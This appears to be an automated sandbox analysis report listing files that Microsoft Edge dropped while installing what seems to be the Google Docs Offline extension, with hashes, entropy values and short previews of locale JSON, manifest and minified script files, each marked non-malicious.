Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7056_377821931\0d003a3b-9c30-42c1-a7b4-43fd90ae5e48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7056_377821931\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7056_377821931\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
